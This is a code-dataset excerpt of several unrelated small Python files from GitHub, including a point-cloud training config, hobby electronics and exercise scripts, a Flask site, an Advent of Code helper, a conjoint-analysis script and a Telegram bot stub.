step batch size.\n cfg.train.batch_limit = -1 # Int, maximum number of points in total in a batch\n\n cfg.train.data_sampler = 'c-random' # Str, Data sampling mode to choose input spheres ('regular', 'random', 'c-random')\n cfg.train.max_points = -1 # Int, maximum number of points per element (obsolete)\n \n cfg.train.optimizer = 'SGD' # Str, optimizer ('SGD', 'Adam' or 'AdamW')\n cfg.train.lr = 1e-2 # Float, initial learning rate\n cfg.train.sgd_momentum = 0.95 # Float, learning rate momentum for sgd optimizer\n cfg.train.adam_b = (0.9, 0.999) # Float, betas for Adam optimizer\n cfg.train.adam_eps = 1e-08 # Float, eps for Adam optimizer\n cfg.train.weight_decay = 1e-2 # Float, weight decay\n cfg.train.lr_decays = {'10': 0.1} # Dict, decay values with their epoch {epoch: decay}\n cfg.train.warmup = True # Bool, should the first epoch be a warmup\n cfg.train.grad_clip = 100.0 # Int, gradient clipping value (negative means no clipping)\n cfg.train.class_w = [] # List, weight for each class in the segmentation loss\n cfg.train.smooth_labels = False # Bool, should smooth labels for cross entropy loss?\n\n cfg.train.segloss_balance = 'none' # Str, Respectively each point, class, or cloud in the batch has\n # the same loss contribution ('none', 'class', 'batch'). \n \n cfg.train.cyc_lr0 = 1e-4 # Float, Start (minimum) learning rate of 1cycle decay\n cfg.train.cyc_lr1 = 1e-2 # Float, Maximum learning rate of 1cycle decay\n cfg.train.cyc_raise_n = 5 # Int, Raise rate for first part of 1cycle = number of epoch to multiply lr by 10\n cfg.train.cyc_decrease10 = 50 # Int, Decrease rate for second part of 1cycle = number of epoch to divide lr by 10\n cfg.train.cyc_plateau = 20 # Int, Number of epoch for plateau at maximum lr\n\n cfg.train.deform_loss_factor = 0.1 # Float, multiplier for deformation loss. Reduce to reduce influence for deformation on overall features\n cfg.train.deform_lr_factor = 1.0 # Float, multiplier for deformation lr. Higher so that feformation are learned faster (especially if deform_loss_factor i low)\n cfg.train.deform_fit_rep_ratio = 2.0 # Float, ratio between fitting loss and regularization loss\n \n\n # Test parameters\n # ---------------\n\n # test\n cfg.test = EasyDict()\n cfg.test.num_workers = 16 # Int, number of parallel workers for input dataset.\n\n cfg.test.max_votes = 10 # Int, number of training epochs\n cfg.test.max_steps_per_epoch = 50 # Int, number of steps per epoch\n\n cfg.test.in_radius = 1.0 # Float, radius of the input sphere\n cfg.test.batch_size = 8 # Int, number of input point cloud per batch\n cfg.test.batch_limit = -1 # Int, maximum number of points in total in a batch\n\n cfg.test.data_sampler = 'regular' # Str, Data sampling mode to choose input spheres ('regular', 'random', 'c-random')\n cfg.test.max_points = -1 # Int, maximum number of points per element (obsolete)\n\n cfg.test.val_momentum = 0.95 # Float, momentum for averaging predictions during validation.\n cfg.test.test_momentum = 0.95 # Float, momentum for averaging predictions during test.\n cfg.test.chkp_idx = None # Int, index of the checkpoint used for test\n\n\n # Augmentation parameters\n # -----------------------\n \n # Train Augmentations\n cfg.augment_train = EasyDict()\n cfg.augment_train.anisotropic = True\n cfg.augment_train.scale = [0.9, 1.1]\n cfg.augment_train.flips = [0.5, 0, 0]\n cfg.augment_train.rotations = 'vertical'\n cfg.augment_train.jitter = 0.005\n cfg.augment_train.color_drop = 0.2\n cfg.augment_train.chromatic_contrast = False\n cfg.augment_train.chromatic_all = False\n cfg.augment_train.chromatic_norm = False\n cfg.augment_train.height_norm = False\n cfg.augment_train.mix3D = -1.0\n cfg.augment_train.pts_drop_p = -1.0\n cfg.augment_train.pts_drop_reg = False\n\n # Test Augmentations\n cfg.augment_test = EasyDict()\n cfg.augment_test.anisotropic = False\n cfg.augment_test.scale = [0.99, 1.01]\n cfg.augment_test.flips = [0.5, 0, 0]\n cfg.augment_test.rotations = 'vertical'\n cfg.augment_test.jitter = 0\n cfg.augment_test.color_drop = 0\n cfg.augment_test.chromatic_contrast = False\n cfg.augment_test.chromatic_all = False\n cfg.augment_test.chromatic_norm = False\n cfg.augment_test.height_norm = False\n cfg.augment_test.pts_drop_p = -1.0\n cfg.augment_test.pts_drop_reg = True\n\n\n return cfg\n\n\ndef get_directories(cfg, date=None, seed=None):\n \n # Get date unless it is given\n if date is None:\n cfg.exp.date = time.strftime('Log_%Y-%m-%d_%H-%M-%S')\n else:\n cfg.exp.date = date\n cfg.exp.working_dir = getcwd() # dirname(realpath(__file__))\n cfg.exp.results_dir = join(cfg.exp.working_dir, \"results\")\n cfg.exp.log_dir = join(cfg.exp.results_dir, cfg.exp.date)\n if seed is not None:\n cfg.exp.seed = seed\n\n if not exists(cfg.exp.log_dir):\n makedirs(cfg.exp.log_dir)\n\n return\n\ndef save_cfg(cfg, path=None):\n\n if path is None:\n path = cfg.exp.log_dir\n\n # Serialize data into file:\n with open(join(path, 'parameters.json'), \"w\") as jsonfile:\n json.dump(cfg, jsonfile, indent=4, sort_keys=False)\n return\n\n\ndef load_cfg(log_path):\n\n # Create an empty cfg\n cfg = init_cfg()\n\n # Read data from file:\n with open(join(log_path, 'parameters.json'), \"r\") as jsonfile:\n cfg2 =json.load(jsonfile)\n\n for k, v in cfg.items():\n if k in cfg2:\n cfg[k].update(cfg2[k])\n\n return cfg\n\n","repo_name":"HuguesTHOMAS/KPInv-dev","sub_path":"utils/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":13000,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"11"} +{"seq_id":"72775055068","text":"import machine\r\n\r\n#Setup 2 digital inputs for buttons\r\nButtonA = machine.Pin(0, machine.Pin.IN, \r\n machine.Pin.PULL_DOWN)\r\nButtonB = machine.Pin(1,machine.Pin.IN,\r\n machine.Pin.PULL_DOWN)\r\n#setup a PWM Output\r\nBuzzer = machine.PWM(machine.Pin(15)) \r\nBuzzer.duty_u16(32767) #make it 50% duty cycle (32767/65535)\r\nFrequency = 1000 #set a starting frequency of 1 Khz\r\n\r\ndef ButtonIRQHandler(pin):\r\n global Frequency\r\n if pin == ButtonA: #up the frequency\r\n if Frequency < 2000:\r\n Frequency += 50\r\n elif pin == ButtonB: #lower the frequency\r\n if Frequency > 100:\r\n Frequency -= 50\r\n\r\n#setup the IRQ and hook it to the handler\r\nButtonA.irq(trigger = machine.Pin.IRQ_RISING,\r\n handler = ButtonIRQHandler) \r\nButtonB.irq(trigger = machine.Pin.IRQ_RISING, \r\n handler = ButtonIRQHandler) \r\n\r\nwhile True:\r\n Buzzer.freq(Frequency)\r\n","repo_name":"KitronikLtd/Kitronik-Pico-Discovery-Kit","sub_path":"Experiment_4.py","file_name":"Experiment_4.py","file_ext":"py","file_size_in_byte":943,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"11"} +{"seq_id":"40181853531","text":"# kullanıcıdan alınan sayıya kadar olan çşft sayıları bulma\r\n\r\ngirizgah = \"\"\"\r\ngirilen sayıya kadar olan çift sayıları\r\ngösteren program\r\nçıkmak için q\"\"\"\r\n\r\nprint(girizgah)\r\n\r\nwhile True:\r\n sayi = input(\"Sayı giriniz\\t:\")\r\n\r\n if sayi == \"q\":\r\n print(\"Program sonlandırılıyor\")\r\n break\r\n else:\r\n sayi = int(sayi)\r\n başlangıç = 0\r\n\r\n while başlangıç < sayi:\r\n başlangıç += 1\r\n\r\n if başlangıç % 2 == 0:\r\n print(başlangıç)","repo_name":"Uygarca/istihza","sub_path":"İstihza çalışmaları/Döngüler/while döngüsü/while döngüsü çalışma.py","file_name":"while döngüsü çalışma.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18798228461","text":"import random\nimport statistics\n\n\ndef square(number):\n # Calculate the square of a number\n return number ** 2\n\n\ndef maximum(number1, number2, number3):\n \"\"\"Return the maximum of three values\"\"\"\n max_value = number1\n if max_value < number2:\n max_value = number2\n if max_value < number3:\n max_value = number3\n return max_value\n\n\n'''Test the frequency of a six-sided die'''\nfrequency1 = 0\nfrequency2 = 0\nfrequency3 = 0\nfrequency4 = 0\nfrequency5 = 0\nfrequency6 = 0\n\nfor roll in range(6_000_000):\n face = random.randrange(1, 7)\n\n # Increment face counters\n if face == 1:\n frequency1 += 1\n elif face == 2:\n frequency2 += 1\n elif face == 3:\n frequency3 += 1\n elif face == 4:\n frequency4 += 1\n elif face == 5:\n frequency5 += 1\n elif face == 6:\n frequency6 += 2\n\n# Print the total frequencies\nprint(f'Face{\"Frequency\":>13}')\nprint(f'{1:>4}{frequency1:>13}')\nprint(f'{2:>4}{frequency2:>13}')\nprint(f'{3:>4}{frequency3:>13}')\nprint(f'{4:>4}{frequency4:>13}')\nprint(f'{5:>4}{frequency5:>13}')\nprint(f'{6:>4}{frequency6:>13}')\n","repo_name":"Edwin1335/IntroToPython","sub_path":"MiniChallenges/Chapter3 - Control Statements/Functions.py","file_name":"Functions.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7133589715","text":"#eponari19\nimport operator\nfrom classes import *\n\nprint(\"Enter the number of points and K value:\")\npoints,k=[int(x) for x in input().split()]\n\nitems=[]\nprint(\"For each point enter X,Y,Z seperated by space and press Enter:\")\nfor i in range(points):\n x,y,z,name=[x for x in input().split()]\n items.append(item(point(int(x),int(y),int(z)),name))\n\nprint(\"Enter the number of points you want to classify:\")\nrequestedKNN=input()\nrequestedKNN=int(requestedKNN)\nprint(\"For each point enter X,Y,Z and the color of the point seperated by space and press Enter:\")\nfor i in range(requestedKNN):\n x,y,z=[int(x) for x in input().split()]\n main_point=point(x,y,z)\n close_items={}\n items.sort(key=lambda x: (x.dist_from_main(main_point),x.name))\n i=0\n while(i/')\ndef index(lang):\n index = 0\n if LangExist(lang) != -1:\n index = LangExist(lang)\n else:\n return \"Error 500\"\n\n return render_template(\"home.html\",object=languages.langs[index],lang=lang)\n\n\n@app.route('/')\ndef redir_index():\n lang = request.accept_languages.best_match(languages.allowed_langs)\n return redirect(lang + \"/\")\n\n@app.route('//about/')\ndef about_page(lang):\n index = 0\n if LangExist(lang) != -1:\n index = LangExist(lang)\n else:\n return \"Error 500\"\n return render_template('about.html',object=languages.langs[index],title=languages.langs[index].title_about_me)\n\n@app.route('/about/')\ndef redir_about():\n lang = request.accept_languages.best_match(languages.allowed_langs)\n return redirect(lang + \"/about/\")\n\n@app.route(\"//social/\")\ndef social_page(lang):\n index = 0\n if LangExist(lang) != -1:\n index = LangExist(lang)\n else:\n return \"Error 500\"\n return render_template(\"social.html\",object=languages.langs[index],title=languages.langs[index].title_social)\n \n@app.route('/social/')\ndef redir_social():\n lang = request.accept_languages.best_match(languages.allowed_langs)\n return redirect(lang + \"/social/\") \n \nif config.server_port == 0:\n config.server_port = 5000\n\n\napp.run(host=\"0.0.0.0\",port=config.server_port)","repo_name":"Honzasko/PersonalSite","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71544088669","text":"import os\nimport sys\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))))\nimport utils\n\n## rock A X 1\n## scisors B Y 2\n## paper C Z 3\n## 0 = loss, 3 = draw, 6 = win\n\nclass Puzzle(utils.PuzzleBase):\n def __init__(self):\n super().__init__(2, \"Rock Paper Scissors\", os.path.dirname(__file__))\n self.test_answers = [15, 12]\n self.answers = [9651, 10560]\n\n def run_part1(self):\n score = 0\n score_matrix = [[4, 8, 3], [1, 5, 9], [7, 2, 6]]\n for line in self.input:\n score += self.score(line, score_matrix)\n return score\n\n def run_part2(self):\n score = 0\n score_matrix = [[3, 4, 8], [1, 5, 9], [2, 6, 7]]\n for line in self.input:\n score += self.score(line, score_matrix)\n return score\n\n def score(self, line, score_matrix):\n movemap = {'A':0, 'B':1, 'C':2, 'X':0, 'Y':1, 'Z':2}\n moves = line.split(' ')\n row = movemap[moves[0]]\n col = movemap[moves[1]]\n ret = score_matrix[row][col]\n return ret\n \n@utils.timer\ndef run():\n Puzzle().run()\n\nif __name__ == \"__main__\":\n run()","repo_name":"fringebits/AdventOfCode","sub_path":"2022/day02/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2022570700","text":"#coding=utf-8\nimport sys\nimport os\nbase_path = os.getcwd()\nsys.path.append(base_path)\nfrom interfacePython.Util import get_value\nimport json\nclass MockServer:\n\n def request(self,flow):\n request_data = flow.request\n #imooc.com\n #127.0.0.1:5000\n self.request_url = request_data.url\n request_data.host='127.0.0.1'\n request_data.port=5000\n\n def response(self,flow):\n if 'imooc' in self.request_url or 'mukewang' in self.request_url:\n response_data = flow.response\n host = self.request_url.split(\".com\")\n #base_url = host[0]\n url = host[1]\n if \"?\" in host[1]:\n url = url.split(\"?\")[0]\n data = json.dumps(get_value(url))\n response_data.set_text(data) \naddons = [\n MockServer()\n]","repo_name":"xiangsiren/interface","sub_path":"interfacePython/Util/mock_server.py","file_name":"mock_server.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"4319962606","text":"# -*- coding: utf-8 -*-\n# @Author: Alan Lau\n# @Date: 2021-12-17 11:55:48\n\n# 给你二叉树的根结点 root ,请你设计算法计算二叉树的 垂序遍历 序列。\n\n# 对位于 (row, col) 的每个结点而言,其左右子结点分别位于 (row + 1, col - 1) 和 (row + 1, col + 1) 。树的根结点位于 (0, 0) 。\n\n# 二叉树的 垂序遍历 从最左边的列开始直到最右边的列结束,按列索引每一列上的所有结点,形成一个按出现位置从上到下排序的有序列表。如果同行同列上有多个结点,则按结点的值从小到大进行排序。\n\n# 返回二叉树的 垂序遍历 序列。\n\n\n# 来源:力扣(LeetCode)\n# 链接:https://leetcode-cn.com/problems/vertical-order-traversal-of-a-binary-tree\n# 著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution1:\n def verticalTraversal(self, root: TreeNode):\n if not root:\n return []\n co = {root: [0, 0]}\n s = [root]\n min_ = 0 # 从原点开始找最大值和最小值, 来记录二叉树的宽度\n max_ = 0\n while s:\n size = len(s)\n for _ in range(size):\n n = s.pop(0)\n co_ = co[n]\n if n.left:\n s.append(n.left)\n co[n.left] = [co_[0]+1, co_[1]-1]\n min_ = min(min_, co[n.left][1])\n max_ = max(max_, co[n.left][1])\n if n.right:\n s.append(n.right)\n co[n.right] = [co_[0]+1, co_[1]+1]\n min_ = min(min_, co[n.right][1])\n max_ = max(max_, co[n.right][1])\n ans = [[] for i in range(max_-min_+1)] # 计算树的宽度,构建存储的数组\n co = sorted(co.items(), key=lambda item: (\n item[1][0], item[0].val)) # 排序结果,根据row大小和树的val排序\n zeroindex = 0-min_ # 找出原点\n for n, co_ in co: # 循环加入结果\n col = co_[1]\n save_ = ans[col+zeroindex]\n save_.append(n.val)\n ans[col+zeroindex] = save_\n return ans\n\n\nclass Solution2: # bfs, 但是不节约空间,需要额外的s栈来存储并访问\n def verticalTraversal(self, root: TreeNode):\n if not root:\n return []\n co = {root: [0, 0]} # 用字典存储坐标\n s = [root]\n while s:\n size = len(s)\n for _ in range(size):\n n = s.pop(0)\n co_ = co[n]\n if n.left:\n s.append(n.left)\n co[n.left] = [co_[0]+1, co_[1]-1]\n if n.right:\n s.append(n.right)\n co[n.right] = [co_[0]+1, co_[1]+1]\n ans = []\n co = sorted(co.items(), key=lambda item: (\n item[1][1], item[1][0], item[0].val)) # 排序结果,依次根据col的大小、row大小和树的val排序\n current_col = None # 判断插入的列是否和上一个一样\n for n, co_ in co: # 循环加入有序的结果,因为已经拍过顺序,所以存储结果的时候就是有序存储的,不需要和方法1一样去定位\n if co_[1] != current_col: # 插入的列和上一个不一样,说明上一列完成存储,进入下一列的存储\n current_col = co_[1]\n ans.append([]) # 创造新的容器来存新的一列\n ans[-1].append(n.val)\n return ans\n\n\nclass Solution: # dfs,递归遍历,不需要额外的空间即栈存储并访问结点\n def verticalTraversal(self, root: TreeNode):\n if not root:\n return []\n co = {}\n\n def dfs(root, row, col):\n if not root:\n return None\n co[root] = [row, col]\n dfs(root.left, row+1, col-1)\n dfs(root.right, row+1, col+1)\n\n dfs(root, 0, 0)\n ans = []\n co = sorted(co.items(), key=lambda x: (\n x[1][1], x[1][0], x[0].val))\n currentcol = None\n for n, co_ in co:\n if co_[1] != currentcol:\n currentcol = co_[1]\n ans.append([])\n ans[-1].append(n.val)\n return ans\n\n\n# a = TreeNode(1)\n# b = TreeNode(2)\n# c = TreeNode(3)\n# d = TreeNode(4)\n# e = TreeNode(5)\n# f = TreeNode(6)\n\n# a.left = b\n# a.right = c\n# b.left = d\n# b.right = f\n# c.left = e\n\n\na = TreeNode(0)\nb = TreeNode(1)\na.right = b\n\nprint(Solution().verticalTraversal(a))\n","repo_name":"AlanConstantine/Algorithm-Storming","sub_path":"Leetcode/Tree/987_hard_VerticalOrderTraversalofaBinaryTree.py","file_name":"987_hard_VerticalOrderTraversalofaBinaryTree.py","file_ext":"py","file_size_in_byte":4755,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"5536334781","text":"import argparse\nimport json\nimport os\nimport sys\nimport datetime\nimport time\nimport markdownify\nimport requests\nimport importlib.util\nfrom dotenv import load_dotenv\n\n\ndef init(day, year):\n directory = './challenges/_%s/_%s' % (year, day)\n if os.path.exists(directory):\n print('Directory already exists')\n sys.exit(1)\n\n os.makedirs(directory)\n\n if os.path.exists('./challenges/_%s/__init__.py' % year):\n f = open('./challenges/_%s/__init__.py' % year, 'w')\n f.write(\"\")\n f.close()\n\n for i in range(2):\n f = open('%s/part_%s.py' % (directory, i + 1), 'x')\n f.write(\n \"from challenges._%s._%s.input_parse import parse_input\\n\\n\"\n \"def main(data):\"\n \"\\n\\tdata = parse_input(data)\"\n \"\\n\\t# Your challenges for AOC %s day %s part %d goes here\\n\"\n \"\\n\\treturn 'AOC %s day %s part %s'\\n\" %\n (year, day, year, day, i + 1, year, day, i + 1))\n f.close()\n\n f = open('%s/input_parse.py' % directory, 'x')\n f.write(\"def parse_input(data):\"\n \"\\n\\tout = data\"\n \"\\n\\t# Your challenges for AOC %s day %s input parsing goes here\"\n \"\\n\\treturn out\\n\" %\n (year, day))\n f.close()\n\n get_puzzle(1, day, year)\n\n f = open('%s/input.txt' % directory, 'x')\n f.write(get_from_aoc('https://adventofcode.com/%s/day/%s/input' % (year, day)))\n f.close()\n\n f = open('%s/testdata.txt' % directory, 'x')\n f.write(\"\")\n f.close()\n\n print('Created directory %s and day files' % directory)\n\n\ndef run(day, year, args):\n path = './challenges/_%s/_%s' % (year, day)\n\n f = open('state.json')\n puzzle_state = json.load(f)\n f.close()\n\n if year not in puzzle_state['years']:\n print(\"Year not found: Could not execute\")\n sys.exit(1)\n\n if day not in puzzle_state['years'][year]:\n print(\"Day not found: Could not execute\")\n sys.exit(1)\n\n data_file = '%s/input.txt' % path\n\n if args.test:\n data_file = '%s/testdata.txt' % path\n\n with open(data_file, 'r') as f:\n data = f.read()\n\n if '1' in puzzle_state['years'][year][day] and puzzle_state['years'][year][day]['1'] != '':\n print('Part 1 already completed. Solution was: \"%s\"' % puzzle_state['years'][year][day]['1'])\n\n if '2' in puzzle_state['years'][year][day] and puzzle_state['years'][year][day]['2'] != '':\n print('Part 2 already completed. Solution was: \"%s\"' % puzzle_state['years'][year][day]['2'])\n else:\n print('Running part 2')\n solution = run_part('%s/part_2.py' % path, data)\n print('Solution: %s' % solution)\n if args.submit:\n submit(day, year, 2, solution)\n\n else:\n print('Running part 1')\n solution = run_part('%s/part_1.py' % path, data)\n print('Solution: %s' % solution)\n if args.submit:\n submit(day, year, 1, solution)\n\n\ndef submit(day, year, part, solution):\n print(\"Submitting solution\")\n\n url = 'https://adventofcode.com/%s/day/%s/answer' % (year, day)\n data = {'level': part, 'answer': solution}\n session_cookie = 'session=%s' % os.getenv('SESSION_COOKIE')\n answer = requests.post(url, data, headers={'cookie': session_cookie}).text\n\n if \"You gave an answer too recently\" in answer:\n print('You gave an answer too recently')\n sys.exit(1)\n elif \"That's not the right answer\" in answer:\n print('That\\'s not the right answer:')\n\n file = open(\"example.txt\", \"w\")\n file.write(markdownify.markdownify(answer.split('
')[1].split('
')[0]))\n file.close()\n\n elif \"That's the right answer\" in answer:\n print('That\\'s the right answer!')\n\n with open('state.json', 'r') as f:\n puzzle_state = json.load(f)\n\n puzzle_state['years'][year][day][int(part)] = str(solution)\n\n with open('state.json', 'w') as f:\n json.dump(puzzle_state, f, indent=2)\n\n if part == 1:\n get_puzzle(2, day, year)\n else:\n print('Something went wrong:')\n\n file = open(\"last-error.txt\", \"w\")\n file.write(markdownify.markdownify(answer.split('
')[1].split('
')[0]))\n file.close()\n\n\ndef run_part(path, data):\n spec = importlib.util.spec_from_file_location(\"module.name\", path)\n module = importlib.util.module_from_spec(spec)\n sys.modules[spec.name] = module\n spec.loader.exec_module(module)\n\n start = time.time()\n solution = module.main(data)\n end = time.time()\n print('Took %s seconds' % (round((end - start) * 1000, 2)))\n return solution\n\n\ndef get_puzzle(part, day, year):\n with open('state.json', 'r') as f:\n puzzle_state = json.load(f)\n\n if year not in puzzle_state['years']:\n puzzle_state['years'][year] = {}\n\n if day not in puzzle_state['years'][year]:\n puzzle_state['years'][year][day] = {}\n\n if part in puzzle_state['years'][year][day]:\n print('Puzzle already fetched')\n else:\n puzzle_state['years'][year][day][part] = ''\n\n url = 'https://adventofcode.com/%s/day/%s' % (year, day)\n content = get_from_aoc(url)\n content = markdownify.markdownify(content.split('
')[part].split('
')[0])\n\n with open('state.json', 'w') as f:\n json.dump(puzzle_state, f, indent=2)\n\n f = open('./challenges/_%s/_%s/Puzzle_%d.md' % (year, day, part), 'x')\n f.write(content)\n f.close()\n\n\ndef get_from_aoc(url):\n session_cookie = 'session=%s' % os.getenv('SESSION_COOKIE')\n return requests.get(url, headers={'cookie': session_cookie}).text\n\n\ndef main(argv):\n parser = argparse.ArgumentParser(description='Advent of Code Wrapper')\n parser.add_argument('-i', '--init', action='store_true', help='Initialize a new day')\n parser.add_argument('-s', '--submit', action='store_true', help='Run and submit solution via api')\n parser.add_argument('-t', '--test', action='store_true', help='Run on test data')\n parser.add_argument('-d', '--day', help='Day to run default is today',\n default=str(datetime.datetime.today().day))\n parser.add_argument('-y', '--year', help='Year to run default is this year',\n default=str(datetime.datetime.today().year))\n args = parser.parse_args()\n\n load_dotenv()\n\n if int(args.day) > 25 or int(args.day) < 1:\n print('Invalid day')\n sys.exit(1)\n\n # print number of current day of the month\n if args.init:\n init(args.day, args.year)\n else:\n run(args.day, args.year, args)\n\n\nif __name__ == \"__main__\":\n main(sys.argv)\n","repo_name":"LordOfReinkeness/advent_of_code-framework","sub_path":"aoc.py","file_name":"aoc.py","file_ext":"py","file_size_in_byte":6696,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"17837072726","text":"#(1)속성수준별 효용가치 계산\r\nimport pandas as pd\r\ndf = pd.read_csv('conjoint.csv', sep=',', encoding='CP949')\r\n\r\nimport statsmodels.api as sm\r\nfrom sympy import *\r\n\r\n#속성수준 더미변수생성 및 독립변수 객체 생성\r\ncon_df = pd.get_dummies(df, columns=['데이터양','데이터속도','통화량'], drop_first=False)\r\ncon_df['intercept'] = 1.0\r\nX = con_df[['intercept','데이터양_1GB','데이터양_2GB','데이터속도_중','데이터속도_상','통화량_150분','통화량_180분']]\r\nprint(X)\r\n#개별 응답자의 속성수준 효용가치 계산하기\r\nres = []\r\nintercept = []\r\nfor i in range(50):\r\n Y = con_df[con_df.columns[2:52][i]]\r\n LR1 = sm.OLS(Y, X).fit()\r\n#연립방정식을 이용한 응답자의 속성수준별 효용가치 계산\r\n x,y,z = symbols('a_1 a_2 a_3')\r\n a1 = solve([Eq(x-z, LR1.params[1]), Eq(y-z, LR1.params[2]), Eq(x+y+z,0)], [x,y,z])\r\n x,y,z = symbols('b_1 b_2 b_3')\r\n b1 = solve([Eq(x-z, LR1.params[3]), Eq(y-z, LR1.params[4]), Eq(x+y+z,0)], [x,y,z])\r\n x,y,z = symbols('c_1 c_2 c_3')\r\n c1 = solve([Eq(x-z, LR1.params[5]), Eq(y-z, LR1.params[6]), Eq(x+y+z,0)], [x,y,z])\r\n\r\n#속성수준 효용가치 병합\r\n a_1 = list(a1.values())\r\n b_1 = list(b1.values())\r\n c_1 = list(c1.values())\r\n a_1.extend(b_1)\r\n a_1.extend(c_1)\r\n res.append(a_1)\r\n d_1=LR1.params[0]\r\n intercept.append(d_1)\r\n\r\n#데이터프레임으로 전환 후 출력\r\nresult = pd.DataFrame(res)\r\nresult.columns=['데이터양_1GB','데이터양_2GB','데이터양_500MB','데이터속도_중','데이터속도_상','데이터속도_하',\r\n'통화량_150분','통화량_180분','통화량_120분']\r\nprint(result.shape)\r\nprint(result.head())\r\n\r\n\r\n#(2)대안별 효용���치 계산\r\nimport numpy as np\r\ncon_df2 = con_df[['데이터양_1GB','데이터양_2GB','데이터양_500MB','데이터속도_중','데이터속도_상','데이터속도_하',\r\n'통화량_150분','통화량_180분','통화량_120분']]\r\n\r\n#대안별 응답자들의 효용가치 계산\r\nalt1 = []\r\nfor i in range(0,9,1):\r\n alt1.append(con_df2.loc[i])\r\nalt2 = []\r\nfor i in range(0,9,1):\r\n for k in range(0,50,1):\r\n alt2.append(np.dot(alt1[i], result.loc[k]))\r\n\r\n#개별응답자의 대안별 효용가치 데이터프레임 생성\r\ncust_Utility = []\r\nfor i in range(0,401,50):\r\n cust_Utility.append(alt2[i:i+50])\r\ncust_Utility = pd.DataFrame(cust_Utility).T\r\n\r\ncust_Utility.columns = ['대안1','대안2','대안3','대안4','대안5','대안6','대안7','대안8','대안9']\r\ncust_Utility = cust_Utility+np.array(intercept).mean()\r\nprint(cust_Utility.shape)\r\nprint('개별응답자의 대안별 효용가치\\n', cust_Utility.head())\r\n\r\n\r\n#(3)최적 대안 선택 및 속성 중요도 평가\r\n#대안별 평균 효용가치 계산 및 최적 대안 찾기\r\nalt_mean = pd.DataFrame(cust_Utility.mean(), columns=['효용가치'])\r\nalt_mean['Rank'] = alt_mean['효용가치'].rank(ascending=False)\r\nprint('대안별 효용가치 순위\\n', alt_mean.sort_values(by=['Rank'], ascending=True))\r\n\r\n#속성별 중요도\r\na_dif = max(result.mean()[0:3])-min(result.mean()[0:3])\r\nb_dif = max(result.mean()[3:6])-min(result.mean()[3:6])\r\nc_dif = max(result.mean()[6:9])-min(result.mean()[6:9])\r\nprint('데이터양 중요도 :', round(a_dif/(a_dif+b_dif+c_dif)*100,2))\r\nprint('데이터속도 중요도 :', round(b_dif/(a_dif+b_dif+c_dif)*100,2))\r\nprint('통화량 중요도 :', round(c_dif/(a_dif+b_dif+c_dif)*100,2))\r\nprint('데이터양 효용가치(1GB, 2GB, 500MB : \\n', result.mean()[0:3])\r\nprint('데이터속도 효용가치(중, 상, 하 : \\n', result.mean()[3:6])\r\nprint('통화량 효용가치(150분, 180분, 120분 : \\n', result.mean()[6:9])\r\n\r\n#(4) 최대선호 모형 기반 시장점유율 예측\r\n#9가지 대안에 대한 개별응답자의 계산\r\npre1 = []\r\nfor i in range(0,50,1):\r\n market_sum1 = np.where(cust_Utility.loc[i].values == cust_Utility.loc[i].max(),1,0)\r\n pre1.append(market_sum1)\r\nMAX = pd.DataFrame(pre1)\r\nMAX.columns = cust_Utility.columns\r\nprint('9가지 선택 대안에 대한 최대선호 현황 : \\n',MAX)\r\n\r\n#최대선호 모형을 이용한 시장점유율 예측\r\npre2=[]\r\nfor i in range(0,9,1):\r\n MAX_sum1 = MAX.iloc[:,i].sum()\r\n pre2.append(MAX_sum1)\r\nprefer = pd.DataFrame(pre2).T\r\nprefer.coluumns = cust_Utility.columns\r\nprint('최대선호 모형을 이용한 예측 시장점유율\\n', prefer/50*100)\r\n\r\n\r\n#(5)선택확률 모형 기반 시장점유율 예측\r\n#개별응답자의 9가지 선택 대안에 대한 선택확률\r\npro1=[]\r\nfor i in range(0,50,1):\r\n market_sum2 = cust_Utility.loc[i]/cust_Utility.loc[i].sum()\r\n pro1.append(market_sum2)\r\nselect = round(pd.DataFrame(pro1).astype(float),3)\r\nselect.columns = cust_Utility.columns\r\nprint('9가지 선택 대안에 대한 선택확률 현황 :\\n',select)\r\n\r\n#9가지 선택 대안에 대한 개별 고객들의 시장점유율\r\npro2 = []\r\nfor i in range(0,9,1):\r\n select_sum3 = select.iloc[:,i].sum()\r\n pro2.append(select_sum3)\r\n\r\nselect2 = round(pd.DataFrame(pro2).astype(float).T,3)\r\nselect2.columns=cust_Utility.columns\r\nprint('선택확률 모형을 이용한 시장점유율 예측\\,',select2/50*100)\r\n\r\n\r\n\r\n","repo_name":"seonukyang/DACA","sub_path":"STUDY/PBS_study/ch16.1.1.py","file_name":"ch16.1.1.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33933534985","text":"import time\r\nimport sys\r\nsys.path.insert(1, '/path/to/application/app/folder')\r\n\r\nimport torch\r\nfrom transformers import BertForQuestionAnswering\r\nimport telebot\r\nfrom telebot import types\r\n\r\nfrom utils.inference import answer_question\r\n\r\n\r\nTELEBOT_TOKEN = '' # input token here\r\nbot = telebot.TeleBot(TELEBOT_TOKEN)\r\nbert_abstract = ''\r\nquestion = 